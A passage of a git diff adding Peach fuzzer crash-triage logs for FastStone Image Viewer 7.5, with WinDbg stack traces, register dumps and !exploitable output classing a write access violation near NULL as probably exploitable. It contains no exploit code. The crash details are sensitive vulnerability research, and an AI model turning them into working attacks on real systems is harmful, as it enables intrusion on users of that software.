[esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07eb8130 07e35930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00232000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00232000 2129f15f 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6290 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00232000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22260/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22260/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..27a9046 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22260/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x12BC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x12BC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(12bc.1cf8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07dd7b19 edx=00000000 esi=00000000 edi=0fcc0fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.696011055487796320000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-6.49164e+008 1.36605e-027 1.67181e-018 1.52717e-006 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07eb8130 07e35930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00232000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00232000 2129f15f 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6290 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00232000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22260/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22260/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..237fb33 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22260/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22512/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22512/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22512/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22512/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22512/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..f5cc8e1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22512/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22512/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22512/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..e071b77 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22512/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xCF4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xCF4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(cf4.16f8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07ed7b19 edx=00000000 esi=00000000 edi=0fc98fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.741047051771987040000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-5.61332e+010 -4.0221e+012 -3.27532e+031 -2.90794e+008 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fb8130 07f35930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00393000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00393000 00964c06 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 